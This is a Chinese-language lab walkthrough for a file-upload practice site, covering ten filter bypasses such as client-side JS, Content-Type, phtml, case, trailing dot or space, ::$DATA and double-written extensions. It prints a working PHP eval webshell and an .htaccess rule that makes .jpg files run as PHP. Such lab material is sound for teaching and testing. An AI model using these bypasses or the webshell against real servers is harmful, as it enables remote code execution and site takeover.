1、前段绕过,抓包修改后缀名,
2、文件内容绕过,用图片马,抓包修改后缀绕过
3、黑名单绕过,php已经被限制了,那么我们可以改成phtml抓包绕过
4、.htaccess绕过,只要有这个配置文件,并且内容为“AddType application/x-httpd-php .jpg
5、”那么后缀为.jpg文件的图片马就会被当做php文件执行,而且不需要改后缀
6、大小写绕过,抓包后后缀改成.pHP,就可以绕过
7、空格绕过,抓包修改后缀,并在后缀后面加上空格
8、点绕过,抓包修改后缀,并在后缀后面加上点
9、文件流绕过,前提条件,必须是window机器,抓包修改后缀,并在后缀后面加上::$DATA
10、双拼绕过,抓包修改后缀,并在把后缀改成pphphp,这样后端去掉php,还剩下个p和hp组合在一起,又是php
一、前段验证绕过
练习地址:http://59.63.200.79:8016/Pass-01/index.php
在开始之前,我们还是来判断一下是客户端验证还是服务端验证。
文件上传无非就是两种检测:
一是客户端检测,
二是服务端检测。
判断是哪一种检测也非常简单。我们可以通过抓包来检测。
这里我已经在上一篇的“文件上传原理一”里说过了
这个地址是客户端验证。我们只需要绕过前段JS就可以了。
先做一个一句话木马。然后改成允许的格式,在通过抓包,改成原有的php格式。
------------------------------------------ 一句话木马
上传成功,我们复制下这个文件的路径。
传参成功。
我们可以用蚁剑连接一下。
连接成功。
二、content-type绕过
http://59.63.200.79:8016/Pass-02/index.php
方法就是在数据包里改上传文件的类型。
三、文件头绕过
dd.jpg的内容是
<?php @eval($_REQUEST['a']);?>
先做一个图片马
上传然后抓包修改成phtml,因为黑名单是php,但是phtml也会当做php文件来解析。
执行成功。
4、.htaccess文件绕过
.htaccess内容
AddType application/x-httpd-php .jpg
先上传一张图片马,可以看到,访问是一张图片,
那么我们再来上传.htaccess文件,先重命名。再上传。
一刷新,我们就可以看到我们的jpg文件当做PHP文件来执行了。
5、大小写绕过。
6、空格绕过
7、点绕过
8、 ::$DATA
(Windows文件流绕过)
9、构造文件后缀绕过(. .)
假如说我们知道源码,然后发现,先去点,再去空格,然后他这里是没有循环的,说明只会去匹配一次。那么我们就可以多设置几个
PS:最后我试验到可以空格点空格点,也可以点空格点,但是最后就是不能以空格结束
这里我设置的是:. .
可以看到,以为这里没有用循环,所以最后因为逻辑问题,我们跳过了
10、双写文件后缀绕过
比如pphphp,那么系统会把中间那个php自动去掉,剩p和hp,然后他们又会自动拼接起来。又是php。